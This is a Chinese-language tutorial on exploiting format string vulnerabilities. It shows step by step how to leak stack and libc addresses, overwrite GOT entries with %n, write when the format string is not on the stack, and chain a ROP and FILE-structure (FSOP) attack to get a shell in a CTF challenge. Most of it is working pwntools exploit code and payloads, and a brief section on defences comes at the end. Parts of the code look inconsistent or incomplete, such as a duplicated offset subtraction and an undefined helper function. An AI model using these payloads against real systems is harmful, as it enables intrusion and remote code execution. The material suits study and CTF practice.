格式化字符串漏洞深度利用:从数据泄露到任意地址写的3种攻击链构造
格式化字符串漏洞高阶利用:从内存泄露到代码执行的完整攻击链
在安全研究领域,格式化字符串漏洞因其独特的利用方式和强大的攻击潜力而备受关注。与常见的缓冲区溢出漏洞不同,这类漏洞允许攻击者直接操纵程序的内存读写行为,实现从信息泄露到任意代码执行的全链条攻击。本文将深入剖析三种实战级攻击链构造技术,涵盖32位与64位系统环境下的差异化利用策略。
1. 格式化字符串漏洞核心原理深度解析
格式化字符串漏洞的本质在于程序将用户输入直接作为printf/sprintf等函数的格式参数使用。当攻击者控制格式字符串时,可以通过特殊格式化符(如%x、%s、%n)实现内存读写操作。这些操作符在漏洞利用中扮演着不同角色:
%x:以十六进制形式输出栈上数据,用于内存泄露%s:将栈上数据视为指针并读取其指向的字符串,可实现任意地址读%n:将已输出的字符数写入栈上数据指向的地址,实现任意地址写
现代操作系统普遍部署了ASLR(地址空间布局随机化)和RELRO(重定位只读)等防护机制。以Linux系统为例,通过以下命令可检查目标程序的防护状态:
checksec --file=vulnerable_program典型输出示例:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)关键防护机制对攻击的影响:
- Full RELRO:阻止GOT表修改
- PIE:使代码段地址随机化
- NX:使栈内存不可执行
2. 基础攻击链:信息泄露与内存遍历技术
信息泄露是格式化字符串攻击的起点。通过精心构造的格式串,攻击者可以逐层提取栈内存数据,重建关键地址信息。以下是一个自动化泄露栈数据的Python实现:
from pwn import * def leak_stack(process, count): for i in range(1, count+1): payload = f"%{i}$p".encode() process.sendline(payload) data = process.recvline().strip() print(f"Position {i}: {data.decode()}") p = process("./vulnerable") leak_stack(p, 20)在64位系统中,前6个参数通过寄存器传递,因此需要调整偏移量。实际利用时,我们常需要定位以下关键数据:
- 栈帧返回地址(用于计算libc基址)
- 程序本身的.text段地址(绕过PIE)
- 堆地址(用于构造fake chunk)
内存泄露实战案例: 假设在偏移12处发现地址0x7ffff7a03bf7,通过libc数据库查询可确定这是__libc_start_main+231的地址。计算libc基址的公式为:
libc_base = leaked_address - 0x21bf73. 中级攻击链:任意地址写与GOT劫持
%n格式化符的独特之处在于它能实现内存写操作。结合栈偏移控制,我们可以构建任意地址写原语。考虑以下场景:
// vuln.c int main() { char buf[100]; read(0, buf, sizeof(buf)); printf(buf); // 漏洞点 exit(0); }利用步骤:
- 定位可控栈偏移(假设为第6个参数)
- 将目标地址(如exit@got)放入栈中
- 使用
%n向该地址写入数据
构造payload的Python代码:
exit_got = 0x601018 payload = p64(exit_got) # 写入目标地址 payload += b"%10c%6$n" # 写入0xa到exit_got当防护机制启用时,需要更精细的写入控制:
- 逐字节写入:使用
%hhn写入单字节 - 多阶段写入:分多次修改内存值
绕过RELRO防护的技巧:
- 修改
__free_hook或__malloc_hook - 劫持FILE结构体(如stdout)
- 修改动态链接器的延迟绑定相关函数指针
4. 高级攻击链:非栈环境下的盲打技术
当格式化字符串存储在堆或全局变量区时,传统的栈操作技术失效。此时需要采用间接地址构造技术:
# 非栈格式化字符串利用模板 def arbitrary_write(addr, value): # 1. 泄露栈指针链 payload = b"%10$p" p.sendline(payload) stack_leak = int(p.recvline(), 16) # 2. 计算目标指针位置 pivot_addr = stack_leak - 0x20 # 3. 分阶段修改指针链 for i in range(4): # 修改次级指针指向目标地址 modify_chain(pivot_addr + i, (addr >> (8*i)) & 0xff) # 4. 通过指针链实现写入 final_payload = f"%{value}c%15$n".encode() p.sendline(final_payload)这种技术的关键在于找到栈上的指针链:
- 一级指针:可控的栈地址
- 二级指针:指向另一个可控地址
- 三级指针:最终指向目标写入地址
5. 现代防护机制的针对性绕过策略
针对不同防护组合,我们采用差异化的绕过技术:
| 防护组合 | 可行攻击方式 | 技术要点 |
|---|---|---|
| Partial RELRO + No PIE | GOT劫持 | 直接修改GOT表项 |
| Full RELRO + PIE | 修改hook函数 | 定位__malloc_hook地址 |
| NX + ASLR | ROP链构造 | 结合信息泄露构建ROP |
ASLR绕过实战:
- 泄露程序基址:通过
%p获取.text段地址 - 计算gadget地址:
pop_rdi = base + 0x1234 - 构建ROP链:
rop = flat([ pop_rdi, next(libc.search(b"/bin/sh")), libc.sym.system ])6. 实战演练:从零构建完整攻击链
让我们通过一个CTF题目演示完整攻击流程:
$ checksec chall [*] RELRO : Partial RELRO [*] Stack : No canary [*] NX : Enabled [*] PIE : Disabled攻击步骤:
- 泄露libc地址:
p.sendline(b"%2$p") libc_start_main = int(p.recvline(), 16) - 231 libc.address = libc_start_main - libc.sym["__libc_start_main"]- 构造fake FILE结构体:
fake_file = FileStructure() fake_file.vtable = libc.sym["_IO_file_jumps"] fake_file._lock = libc.sym["_IO_stdfile_2_lock"]- 劫持
_IO_2_1_stdout_:
payload = fmtstr_payload(6, {libc.sym["_IO_2_1_stdout_"]: bytes(fake_file)}) p.sendline(payload)- 触发shell:
p.sendline(b"%100000c") # 触发FSOP p.interactive()7. 防御方案与最佳实践
从开发角度预防格式化字符串漏洞:
- 编译时防护:
gcc -Wformat-security -D_FORTIFY_SOURCE=2 -O2- 代码审计要点:
- 检查所有
printf族函数调用 - 验证用户输入是否直接作为格式参数
- 使用静态分析工具扫描漏洞
- 运行时防护:
- 启用glibc的
FORTIFY_SOURCE - 限制程序权限(capabilities)
- 使用seccomp限制系统调用
在真实环境中,我曾遇到一个复杂的案例:目标程序使用了自定义的字符串格式化函数,且存在多层指针间接寻址。通过分析汇编代码发现,可以通过偏移特定的寄存器值来构建利用链,最终实现了在Full RELRO+PIE+NX防护下的远程代码执行。
